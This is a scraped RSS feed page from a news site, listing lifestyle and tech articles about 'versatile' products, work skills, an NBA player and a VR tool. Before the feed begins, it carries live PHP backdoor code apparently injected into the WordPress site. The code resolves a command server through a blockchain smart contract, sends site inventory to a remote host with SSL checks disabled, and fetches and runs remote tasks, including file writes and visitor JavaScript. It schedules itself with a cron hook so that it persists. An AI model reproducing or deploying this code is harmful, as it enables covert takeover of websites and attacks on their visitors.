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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); versatile – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 25 Apr 2019 16:08:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png versatile – Brief News https://briefnews.eu 32 32 17 Versatile Work Skills Employers Want to See in Potential Employees https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/ https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/#respond Tue, 14 Aug 2018 17:01:58 +0000 http://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/ When we look at a job advertisement, it can seem as though employers want an exhaustive list of experience and technical skills from their new hire.They list desirable qualities such as ‘initiative’, ‘team player’ and ‘strong work ethic’. Those words can mean a variety of things to different people and it can be quite hard for employers to illustrate fully the combination of technical and soft skills they want their potential employees to have.What they often want is a mix of versatile skills that make it easy for them (and you) to adapt to the changing needs and demands which occur in businesses today.After all, adaptability and innovation are what make businesses thrive.In today’s ever-changing environment, versatility is a mandatory attitude every working person needs to have. With the following seventeen work skills, you will not only make your employer extremely happy and confident that hiring you was their best decision, you will experience greater personal satisfaction and results.

1. Know what you want but more so why you want it.

Employers need to sense you have a solid idea as to why you are a fit for their role and their organization. They need to sense you have your own sense of purpose.However, it can be a double-edged sword to say you know exactly what you want to achieve and gain if you are successful in your application and interview.Some employers can perceive this as arrogance; your needs first, theirs second. What employers are really looking for is your internal sense of knowing that potential to join their organization is a winning combination for both of you.

2. Diplomacy and conflict resolution skills save money, lost productivity and efficiency.

Can you agree to disagree? Can you evaluate without passing judgment or at least be self-aware of your own biases? Can you put these aside to find solutions for the betterment of the team?Employers look for versatility in soft work skills that bring peace, lower stress and contribute to creating harmony. If you have ways with words to help heated arguments reduce to a simmer so there is space for compromises, negotiations and reasoning to take place your employers’ respect for you will jump at least tenfold.Peace-making skills are invaluable in changing workplace culture, particularly toxic ones. Any good employer knows a strong in-house negotiator will save them thousands of dollars in engaging an external mediator.

3. Know how to set and reframe your own goals.

Much research has documented that when employees have a clear purpose, mission and goals, they are more likely to be highly productive. They are less likely to flounder around in many directions nor be busy and not produce results that matter.Employers know well that employees who develop their own goals and can align these with those of the company are more self-driven, self-sufficient and take greater ownership for performing their role.And the benefit is not only to the employers. You personally will find greater personal satisfaction from achieving targets you have chosen to set yourself. Everyone wins!

4. Great time management and organization skills make you highly productive.

Being able to exercise versatility with these work skills needs no explanation. Great time management does not mean multi-tasking. It actually uses more brain power and reduces effectiveness.Having great skills to prioritize your activities and demands, being able to assess how long things might take you to address are planning skills which greatly aid effective and better execution.Working in harmony with your colleagues’ timetables makes for better teamwork and workflow plus a less stressed environment.In today’s working world, any strategies for reducing stress-invoking opportunities are like finding golden nuggets. Your employer will want to hold on to those for dear life!

5. Be a flexible team player by being able to change roles when required.

Employers will be looking to see how flexible a team player, a potential employee could be.If you are a natural leader, being a better team player might, in fact, mean you stepping down from the helm and encouraging someone else to exercise and step into their leadership potential.It might be more beneficial to your employer to play the role of Indian as opposed to the Chief in certain situations. Stepping into different positions on your team not only helps you grow but also the rest of your team.Employers relish having a versatile work team which can adapt and is ready and willing to play different roles, even if uncomfortable when crises happen.

6. Initiative, self-motivated and driven.

When you have your own internal reasons for looking to undertake a role your motivation is driven by something sizzling inside of you.There is a personal drive and desire for the satisfaction you will experience when you meet a certain target that no other person will be able to give to you.When you can genuinely identify and demonstrate your own personal connection to the role’s objectives and the greater goals of your employer’s business, they will see you have an internal drive that they don’t need to whip and flog to keep the momentum going.Any employer will be grateful they just need to help navigate you and support you with the right tools and network and off you go.

7. Be confident but not arrogant.

Imagine if you were conducting initial telephone interviews with shortlisted candidates and one of the questions they asked was:“How long would it be until I’ll be eligible for a pay rise or promotion?”There is a significant difference between being confident and arrogant. Employers are not looking for confidence purely in you being able to perform every aspect of your role at gold star level.It comes with being comfortable to say you don’t understand, you have made a mistake, you need support, further training, acknowledging what your limits are and being willing to risk stepping outside your comfort zone.When you’re a new kid on the block, respecting that you may need to learn to walk before you can run is essential. Unless it is your job to start making significant changes from day one, chances are you’re going to create enemies if you’re so confident your new methods and ideas should replace existing processes.

8. A positive attitude.

Demonstrating positivity as a work skill that will truly win over your new employer is about being genuine and actively applying strategies which look for the glass half full.Recruiters and employers are not dumb. They can easily see through short-term bright smiles, nervous giggling and general ‘you just need to think positive’ statements.In the face of grueling challenges, employers are going to look much more favorably on that candidate who can acknowledge the negative features of a situation but still encourage another solution-focused perspective to be adopted.Even better, if you can use language effectively to demonstrate how you have adopted a positive perspective and helped turned around a tough situation.It is one thing to have a positive attitude but your potential employer will see you as a superhero if you can show them how you have successfully applied it.

9. You are resourceful but know the value of asking for help.

There is nothing more unproductive (let alone frustrating) than that person who simply asks out loud a question to their team when they could simply have Googled the answer.Or worse still, they have a manual at their fingertips which has the answer to their question…they were simply too lazy to look for themselves.Be that person with Sherlock Holmes as their middle name who sleuths like a dog after a buried bone. You can research and turn over stones to discover and learn what you need but you also are able to ask for help and assistance when you need to.Any employer will relish that person who looks to discover the answers to their own questions first before reaching out and asking for help.

10. Emotional intelligence creates a harmonious workflow.

Despite the level of seniority of your role having a strong ability to handle emotions is fast becoming an essential work skill (and also life skill).It is even more desirable for any employer when your work skill set includes the ability to detect, adapt to and have skills in managing certain emotional patterns of others you need to work with, manage or report to.So much time, energy and productivity is lost due to individuals’ lack of skills in this area. Any manager who can see you possess and can demonstrate such versatile work skills will think they’ve won the managerial lottery!

11. Be able to adapt your learning style.

There is no real evidence that using preferred learning styles actually increase the rate at which we learn nor the effectiveness of certain styles.However, being able to make changes to what we are given to learn and adapting it to suit our needs and preferences does help us settle into a new work transition sooner.We also need to recognize that even though we feel uncomfortable learning a new skill a certain way, it might actually be the way we need to receive it to cement the learning. It is also likely that our new employer only knows or has a budget to deliver training in a certain way.Either we can choose to adapt or resist but we know for sure the latter is not going to benefit to anyone.

12. Flexible leadership style.

Dan Goleman has conducted extensive research on different leadership styles, emphasizing that being versatile to switch between different styles (e.g. authoritative, coaching, affiliate, coercive, pace-setting) and knowing when to do is a fundamental skill for any leader.Being able to change your style to lead other people is as important as how you lead your own role responsibilities.

13. Incredible communication skills that actively listen and give clear messages.

Strong and effective communication across all mediums takes time, life experience and highly developed intuition.Knowing when to use email, a face to face conversation or telephone discussion is one thing. Another is to use words which emotionally connect and influence the receiver to accept, hear and heed your message.Great communicators know that it is their responsibility as much as the receiver for good communication to take place. However, they also know that the receiver may not feel this is the case.When you can listen equally, be sensitive to read between the lines to hear the message of ineffective communicators and can respond kindly with inspiring, equalizing and encouraging words, your influence and general likeability as a new addition to your employer’s team will develop in leaps and bounds.

14. Accountability, responsible and dependable.

We’ve all worked with people or managers at some point who lay external blame the instance something goes wrong.Contrary to popular belief, making mistakes and owning up to it is a highly desirable and versatile work skill that gains loyalty and understanding particularly when mistakes occur.Owning up to errors early allows both yourself and the business to recover quickly and shows you’re willing to take responsibility to continue forward on when you have stumbled.When you illustrate you can do this, you build your employer’s trust and faith in you.

15. Exercise proactive self-awareness.

Self-reflection is a highly empowering work skill that contributes greatly to becoming better and performing better.When you actively look for the achievement, celebrate your success and look for pockets of where mistakes you have made can be corrected you improve faster, become more effective and make your work easier.When you start to look at your own errors, receiving feedback from your employer about the same errors can feel far less confronting and having corrective conversations is easier, transparent and far less stressful and emotional.You naturally increase your resilience and make life easier for yourself and your employer if you conduct regular self-check-ins and keep your employer updated.

16. Apply a problem-solving growth mindset.

When faced with a problem or challenge, your ability to activate a growth mindset is a highly versatile work skill employers love. Not only are you able to reduce the pain and anguish that a fixed mindset can sustain but your ability to remain open to possibilities to find different pathways or ideas is refreshing and helpful.If your thought patterns automatically ask: “How can we?” or you often think “there must be a way”, you will only contribute to creating growth opportunities for your organization and inspire others to think the same way.

17. Be teachable.

If you have ever tried to teach someone a new skill or technique and they keep reverting back to traditional ways that are familiar to them, you might have become frustrated to the point of giving up.Don’t be that person who’s stuck in tradition which no longer serves the business. Whether you are entering a new environment, learning new software or negotiation skills, know that all employers need people who are open to being taught.Innovation is a core concern of every business. Innovation means change and change means doing something different.

Stay versatile and keep learning

Technical skills can often be taught. Ray Croc illustrated how well a systemized franchise can dominate the planet. Over 36,000 McDonald’s establishments around the world are run by managers barely in their twenties!Soft work skills, however, take time to develop, learn and confidently apply.There is a key combination of work skills that would make any candidate employer’s dream. However, the essential factor underlying all of these work skills is versatility.Equip yourself with these 17 work skills, stay curious and keep learning; and you’ll always nail the job you want.

]]> https://briefnews.eu/17-versatile-work-skills-employers-want-to-see-in-potential-employees/feed/ 0 A day with Sony’s versatile RX100 VI point-and-shoot https://briefnews.eu/a-day-with-sonys-versatile-rx100-vi-point-and-shoot/ https://briefnews.eu/a-day-with-sonys-versatile-rx100-vi-point-and-shoot/#respond Wed, 06 Jun 2018 18:41:41 +0000 http://briefnews.eu/a-day-with-sonys-versatile-rx100-vi-point-and-shoot/

Without a doubt the most interesting feature on Sony’s new flagship pointe-and-shoot RX100 VI is the new zoom lens. That Vario-Sonnar T* 24-200mm f2.8-4.5 glass is much longer than the 24-70mm equivalent on the previous model, making the RX100 VI a more versatile compact shooter. You may not always need the superzoom, but it’s nice to know you have that option — especially on a camera that fits in the pocket of your shirt or jeans. Aside from the upgraded lens, the RX100 VI looks identical to its predecessor and also comes with a 20.1, 1-inch Exmor RS CMOS sensor, though it does feature a better Bionz X processor (the same one that’s on the full-frame A9).

The ISO is still capped at 12,800, but you’ll get improved optical image stabilization to handle the longer 24-200mm lens. Like the RX100 V, Sony’s RX100 VI is all about speed: You can capture RAW photos at a ridiculous 24 frames per second and the autofocus clocks in at 0.03 seconds, which the company claims to be the world’s fastest. And if you want to shoot some videos, you can do so in 4K (with HDR) or slow-motion at 250, 500 and 1,000 frames per second. In general, the RX100 series has set the gold standard for point-and-shoot specs since its introduction in 2012, and the newest member just continues that.

I took it out for a spin and, for the most part, was impressed by the RX100 VI’s performance. My goal was to focus on long-range shots and put that new 24-200mm lens through its paces, since that’s the camera’s most notable update. It’s definitely nice to be able to focus on subjects that are far from you, like a construction crane on the top of a New York City skyscraper, but many of the images I took came out looking soft. That type of compromise on the optics is to be expected when you’re zoomed in at close to 200mm, and it didn’t help that it was a cloudy day — a wider aperture lens would’ve made things better, for sure.

Indoors is a completely different story, though, especially when you have access to professional studio lighting. The camera produced some great shots of both moving and still subjects from long range. And anytime I kept the lens between 24 and 70mm (inside or outside) I knew I didn’t have to worry about any pictures being fuzzy. Whether I was taking a close-up shot of a violinist or a break dancer, the RX100 VI focused quickly and the results were sharp, vibrant images — as you’ve come to expect from Sony’s top-of-the-line mirrorless cameras. You can now also touch the screen to focus, which makes it easier to lock in on your subjects. That said, I still prefer using the OLED electronic viewfinder, particularly now that it pops out of the body with the touch of a button.

But, as impressive as the RX100 VI is, it’s not perfect. Sony keeps pitching it as the ideal camera for vloggers (aka YouTubers), but it lacks a 3.5mm audio jack and the lens just isn’t wide enough. The camera also takes took long writing files after using the continuous shooting mode or capturing slow-motion videos, even with the latest high-speed SD card.

Yes, I appreciate the new zoom lens, but I wish Sony would’ve addressed some of these other (known) issues, too. The biggest drawback for many photo and video enthusiasts, however, is probably going to be the $ 1,200 price tag. It’s a lot for a compact camera, and if you’re going to invest that much, why not spend a little extra and get an A6500 ($ 1,100) or an A7 III ($ 2,000), both of which offer interchangeable lenses and bigger sensors. They may not fit in your pocket, but you’ll experience Sony’s true versatility.

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]]> https://briefnews.eu/a-day-with-sonys-versatile-rx100-vi-point-and-shoot/feed/ 0 HP Pavilion Gaming Laptop has Omen style, versatile specs, $799 starting price https://briefnews.eu/hp-pavilion-gaming-laptop-has-omen-style-versatile-specs-799-starting-price/ https://briefnews.eu/hp-pavilion-gaming-laptop-has-omen-style-versatile-specs-799-starting-price/#respond Wed, 11 Apr 2018 13:36:01 +0000 http://briefnews.eu/hp-pavilion-gaming-laptop-has-omen-style-versatile-specs-799-starting-price/

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While the HP Pavilion line encompasses many types of all-purpose machines, the company is branching out with a new family of gaming PCs. Gone will be the Pavilion Power line, making room for the newly announced Pavilion Gaming family. HP says the line, consisting of laptops and desktops, is for gamers who value both gaming and entertainment but don’t need the top-tier specs and customization that come with the company’s Omen devices.

The 15-inch Pavilion Gaming laptop takes design notes from existing Omen laptops but implements them in a less ostentatious way. The all-black chassis has angled edges for style and venting. HP pushed the fans to the corners of this laptop, which allows more efficient air flow thanks to the vents at the angled corners. Geometric speaker grilles similar to those on other Pavilion laptops sit above the keys, and some models have an all-aluminum keyboard area. Lights underneath the keys and behind the HP logo on the lid offer accents in either white, green, or violet, depending on the model, and each display (it supports FHD at 144Hz, FHD at 60Hz, and 4K panels) is hugged by 9.8mm bezels on the left and right sides.

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]]> https://briefnews.eu/hp-pavilion-gaming-laptop-has-omen-style-versatile-specs-799-starting-price/feed/ 0 The startup that reinvented gym socks just made super comfortable, versatile hiking socks — here’s what they’re like https://briefnews.eu/the-startup-that-reinvented-gym-socks-just-made-super-comfortable-versatile-hiking-socks-heres-what-theyre-like/ https://briefnews.eu/the-startup-that-reinvented-gym-socks-just-made-super-comfortable-versatile-hiking-socks-heres-what-theyre-like/#respond Sun, 25 Mar 2018 16:36:58 +0000 http://briefnews.eu/the-startup-that-reinvented-gym-socks-just-made-super-comfortable-versatile-hiking-socks-heres-what-theyre-like/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Bombas is a startup that thrives on reinvention — from spending two years on redesigning the perfect gym sock to re-conceptualizing the ski sock. Now, they’ve released hiking socks.
  • Especially for outdoor gear, the devil is in the details — and that’s one place Bombas characteristically shines.
  • The Insider Picks team had a chance to test them out, and we appreciated their overall comfort, breathability, accessible price-point ($ 18), and their versatility for city life or outdoor adventure.

When you make an effort to “get back to the basics” by spending more time out in nature, it’s the basics of what you’re bringing into the experience that ultimately make or break it.

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]]> https://briefnews.eu/the-startup-that-reinvented-gym-socks-just-made-super-comfortable-versatile-hiking-socks-heres-what-theyre-like/feed/ 0 Is the NBA Leaving Detroit's Historically Versatile Big Man Behind? https://briefnews.eu/is-the-nba-leaving-detroits-historically-versatile-big-man-behind/ https://briefnews.eu/is-the-nba-leaving-detroits-historically-versatile-big-man-behind/#respond Tue, 23 Jan 2018 13:20:40 +0000 http://briefnews.eu/is-the-nba-leaving-detroits-historically-versatile-big-man-behind/

The 2018 NBA All-Star Game starting lineups were revealed last week, and while perennial stars like Stephen Curry, LeBron James, James Harden and Kevin Durant topped the list of vote-getters, some interesting developments were revealed through the association’s new selection system. Fan voting used to decide the entirety of All-Star rosters, but this season the NBA added player and media votes to the scrum. And apparently those three parties perceive some players differently.

Take Pistons center Andre Drummond, for instance. If it were only up to players and the media, Drummond would be an Eastern Conference All-Star. But the fans voted Drummond the ninth-best front-court player in the East, pushing the 2016 All-Star out of contention for this year’s game. Drummond is certainly less offensively skilled than many of his stretch-forward contemporaries, but the fan votes raise the question: Is our current fascination with run-and-gun basketball diminishing the value of players who don’t possess a silky jump shot? And further, can Drummond still be a franchise player in today’s NBA? When making those assessments, remember to consider the total package.

Andre Drummond is averaging 3.9 assists per game this year. That’s the best mark by a player averaging 14-plus rebounds per game since Charles Barkley in 1986–87.

At present, Drummond leads the NBA with an average of 15 rebounds per game, the most since former Pistons center Ben Wallace snatched 15.42 per game in 2003. But Drummond is not a one-trick pony. He’s currently averaging his second-highest career scoring mark (14.3 ppg) and is the best player on a young Pistons team fighting for a playoff berth. Since being drafted ninth overall as an 18-year-old freshman out of UConn in 2012, Drummond has been viewed as a project — an athletic specimen long on potential but needing to improve many of the offensive skills necessary for survival in the now pervasive dribble-drive offense that dominates today’s playbooks.

Drummond’s game, which relies heavily on offensive rebounding, putbacks and basic low-post rim attacks, may not be as appealing to fans as the 3-point onslaughts of, say, Kristaps Porzingis, but Drummond’s increased assist numbers and his improved free-throw shooting (up 24 percent from last season) suggest that he is developing a game to fit these modern times. Drummond will never be a sharpshooter, but improved versatility and leading a playoff push might just earn him more respect from the masses.

According to former Boston Celtics legend and current ESPN analyst Paul Pierce, the Pistons “should have been in the playoffs” last year (they finished 10th in the Eastern Conference). But Pierce says Detroit lacked a key attribute that Drummond may not yet possess: veteran leadership. So, last July the Pistons acquired guard Avery Bradley from the Celtics, allowing Drummond to focus on making those desperately needed improvements to his game without having to lead the young team. “Hopefully, Avery’s presence, leadership and his defensive mentality can help them get over that hump this year,” says Pierce.

Nearing the All-Star break, Detroit sits one game under .500 and a game behind Milwaukee for the eighth — and final — Eastern Conference playoff spot. Bradley has played well, but, much like their massive man in the middle, the Pistons remain an inconsistent, often lackadaisical team on defense that has failed to live up to expectations. After sprinting out to a 14-6 start through November, the Pistons dropped seven straight games to begin December. Now, they’re middling. According to Detroit native and ESPN analyst Jalen Rose, the team needs top draft picks who have been with the organization, like Drummond, to mobilize the franchise’s comeback. “I know Andre Drummond has potential,” said Rose. “You need those players to graduate to an All-Star, All-NBA level — that’s how it works.”

Given Drummond’s size and athletic abilities, there’s no excuse for his tendency to appear as if he’s not always trying. And there’s no denying that the 6-foot-11 athletic specimen who has demonstrated masterful anticipation — to the tune of 15 rebounds per game — should rank higher than 19th in the NBA in blocks per game (1.2). Drummond has clearly worked to improve his game this season, but if he wants the public to recognize his historic versatility — and avoid being lost in the annals of the 2018 sports almanac — he should stop giving voters any other choice.

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]]> https://briefnews.eu/is-the-nba-leaving-detroits-historically-versatile-big-man-behind/feed/ 0 This is one of the most versatile and stylish weekend bags I’ve ever used https://briefnews.eu/this-is-one-of-the-most-versatile-and-stylish-weekend-bags-ive-ever-used/ https://briefnews.eu/this-is-one-of-the-most-versatile-and-stylish-weekend-bags-ive-ever-used/#respond Sun, 04 Jun 2017 01:08:16 +0000 http://briefnews.eu/this-is-one-of-the-most-versatile-and-stylish-weekend-bags-ive-ever-used/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase.

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  • Dagne Dover is a women’s handbag company specializing in commuter-friendly totes, satchels, and much more.
  • The company’s Landon Carryall from its new travel collection comes in three colors and sizes: small ($ 125), medium ($ 155), and large ($ 185). The largest size is perfect for long weekends and trips to the gym after work.

Not all weekend bags are created equal. Dagne Dover’s new Landon Carryall makes that abundantly clear — in a good way. You don’t have to choose between versatility, durability, and style. Instead, you can have all three for a price that doesn’t bank the bank. 

For those who aren’t familiar with Dagne Dover, it’s a women’s handbag company specializing in commuter-friendly totes, satchels, backpacks, and much more. I reviewed their Classic Tote earlier this year, calling it “the work bag professional women everywhere have been waiting for,” and their large Landon Carryall is just as practical and stylish for long weekend trips, or for going from the office to the gym after work.

The large carryall the company sent me to review has a roomy interior with lots of compartments for all of your long-weekend essentials: There’s a padded laptop sleeve; a water bottle holder; a key leash; two interior mesh pockets that are great for storing a book, charging cables, or portable batteries; and another large interior pocket for whatever other odds and ends you want to pack. There’s even a separate mesh pouch for toiletries and a shoe duster for your footwear you don’t want making contact with your clothes. Dagne Dover also put a pocket on the back of the bag, so you can keep your keys, phone, or passport tucked away and secure, but still readily accessible in a pinch. For further convenience, the bag unsnaps at the sides to create more room for the extra pair of heels you swear you’re going to wear.

Now, a spacious and stylish design is all well and good, but a weekend bag is rendered pretty useless if it’s not also an ergonomic carry.

Thankfully, Dagne Dover really did consider everything when it came to the design of this travel bag. The bag is made of 100% premium neoprene, a high-tech fabric that is hand washable, quick to dry, and, crucially, very lightweight. Its flexible, lightweight body and an adjustable crossbody strap made it a breeze to tote around Port Authority, even when it was full of all my clothes and tech. As far as I’m concerned, any travel bag that doesn’t have an adjustable crossbody strap isn’t very good at being a travel bag, but Dagne’s passed with flying colors. 

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“Much like Lululemon Lab, Nike, and Moncler, we consider ourselves to be part of a new category of performance brands that sits above the status quo. It’s no longer good enough to just be ‘arm candy,'” Dagne Dover’s founder and CEO Melissa Mash told Business Insider. “Nowadays we expect the services and products we use to multitask, to be data-driven, and to work harder.” I couldn’t agree more.

Dagne Dover’s large Landon Carryall costs $ 185 and comes with tons of features that make it great for travel and easy to stay organized. It doesn’t hurt at all that’s it’s also one of the most stylish weekend bags I’ve ever used. If you’re someone who invests in their travel gear and has struggled to find a weekend bag that has everything you want, I can’t recommend Dagne Dover enough — it checks all the boxes.

Better yet, if you are a teacher or member of the military, you are eligible for a 20% discount on any Dagne Dover purchases you make.  Just fill out this form using your official education or military email address and the company will give you an exclusive code to use at checkout. 

Dagne Dover’s Landon Carryall comes in three colors and sizes: small ($ 125), medium ($ 155), and large ($ 185).

The largest size is perfect for long weekends and trips to the gym after work. You can buy it here. 

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]]> https://briefnews.eu/this-is-one-of-the-most-versatile-and-stylish-weekend-bags-ive-ever-used/feed/ 0 Mindshow’s amazing and versatile VR animation tool will hit open beta in Q3 https://briefnews.eu/mindshows-amazing-and-versatile-vr-animation-tool-will-hit-open-beta-in-q3/ https://briefnews.eu/mindshows-amazing-and-versatile-vr-animation-tool-will-hit-open-beta-in-q3/#respond Mon, 17 Apr 2017 06:14:11 +0000 http://briefnews.eu/mindshows-amazing-and-versatile-vr-animation-tool-will-hit-open-beta-in-q3/

My ears pop in the elevator heading to the 43rd floor of a Los Angeles highrise. When I get out I find a little metal plaque marking my destination. Between the offices of people who have very straightforward jobs in very normal offices is one that’s quite a bit different — “Mindshow.”

Their office is adorned with lively cartoon characters and figurines. With a big U-shaped smile, Mindshow CEO Gil Baron takes me straight to their mixed reality demo area. I enjoyed my first visit to Mindshow when the software was revealed in August at the huge VRLA conference, and like that first demo with Baron he gets straight to business. First I’m going to put on a headset and visit the latest version of the world made by his team, then I’m going to chat with him.

Rediscovering the wonders of childhood

For those unfamiliar, Mindshow is a VR animation and cartoon creation tool transforming visitors to its virtual world into a variety of characters. You can embody a doctor, airline pilot, cat or even a humanoid twinkie, among many other possibilities. The software records your voice along with hand movements and head movements to animate the characters.

What’s changed since that August debut is a dramatic improvement to the process of unlocking a visitor’s creativity. It is one thing to teach a person “how” to create something in VR. Tilt Brush does this well as few people have trouble figuring out how to sketch in the air using Google’s software. Deciding “what’ to make is something else entirely. It is easy to stare at a blank canvas or stage and feel overwhelmed. That’s the magic of Mindshow’s latest additions. It draws out creativity and silliness — activating any child-like playfulness that might be buried beneath the veneer of a serious adult.

After a quick tutorial which covers “how” to create something, I dropped myself into three pre-prepared scenes inspiring “what” to create. The scenes were already started with a character prompting me to continue the story. In improvisation classes they teach you to say “yes and” to what another actor asks you — spurring on a story you discover together. This is much the same except the first actor performed their part long before I entered Mindshow. In the videos below you can see me discovering this new way of making a story and filming it with a virtual camera.

A visionary project meets real people

When I talk to Baron after recording these videos I ask him who he expects this to be used by. Right now, the software is in a testing mode for a limited audience, but by Q3 this year they plan to launch an open beta that should grant any HTC Vive user access to the software. When that happens, is this something for people to play around with and make silly internet videos, or will filmmakers use this toolset to make lengthy and carefully produced projects?

“My God, I hope both,” Baron says.

This software is already evolving into a super intuitive virtual production studio with some really surprising features baked in. For example, in the airline pilot video I didn’t realize until I was back in the real world and viewing the finished project that sound had been realistically occluded. When I filmed the scene, I brought the camera over to the window to film it almost like a passenger had captured from their seat this bizarre interaction playing out. If I had filmed outside on the wing with the characters the sound would’ve been more clearly captured, but with the fuselage of the plane blocking some audio there’s an added bit of subtle accuracy automatically built in. If you’re someone making an animated movie that effect likely would’ve been the work of a sound engineer. In Mindshow, it is just part of the simulated world.

Children live in a world of belief in which anything is possible. By the time we’re adults, though, we’ve learned limits and look to movies which need to “suspend disbelief” to draw us away from the world for a couple hours. Mindshow sits at the cross-section of these two worlds, perhaps empowering kids to make movies and adults to forget their limits. Baron recalls something Alfred Hitchcock is quoted as saying: “Drama is life with all the dull bits cut out.”

“This is movie-making with all the boring bits cut out,” Baron says of Mindshow.

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]]> https://briefnews.eu/mindshows-amazing-and-versatile-vr-animation-tool-will-hit-open-beta-in-q3/feed/ 0 Valo is the versatile outdoor light that can be used just about anywhere https://briefnews.eu/valo-is-the-versatile-outdoor-light-that-can-be-used-just-about-anywhere/ https://briefnews.eu/valo-is-the-versatile-outdoor-light-that-can-be-used-just-about-anywhere/#respond Tue, 11 Apr 2017 07:45:17 +0000 http://briefnews.eu/valo-is-the-versatile-outdoor-light-that-can-be-used-just-about-anywhere/ Hikers and campers looking for a new light source to take with them on their outdoor adventures may want to check out the Valo, a lightweight and versatile flashlight that recently launched on Kickstarter.  The lamp even offers some unique features that set it apart from the competition.

On paper, the Valo does not look like it should be all that impressive. On its brightest setting, it can only produce up to 50 lumens of light and its rechargeable battery can only keep it running for a maximum of 10 hours at a time. Neither of those numbers is particularly noteworthy when compared to the competition, which routinely offer headlamps and flashlights with more than twice the illumination and battery life. But, when you consider the fact that the Valo is also waterproof, offers three different brightness settings, and weighs just an ounce, it becomes a more appealing product.

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But the flashlight also has a few more tricks up its sleeve as well. For instance, it comes with a specially designed magnetic clasp and polyester cord that work in conjunction with one another to affix the Valo to nearly any surface. This allows the light to be worn on a shirt or jacket, attached to a hat, wrapped around a tree branch, or even stuck directly to a metal object. That versatility that is difficult to find in a standard headlamp and opens up the possibilities for how this light can be used.

The designers of the Valo also added built-in voltage regulation, which ensures the light stays at a constant level no matter how low the charge on the battery drops. Most other flashlights and headlamps grow dimmer over time but this one will maintain its brightness until it completely runs out of juice. There is a battery life indicator on the Valo as well. When the battery starts to get low, plug it into a USB charger for a quick top-off.

With the launch of the Kickstarter campaign, the team behind the Valo is hoping to raise about $ 43,000 to get the flashlight into production. If it hits that goal, the lamp is expected to start shipping in October at $ 30. You can find out more and reserve one now on the Valo Kickstarter page.

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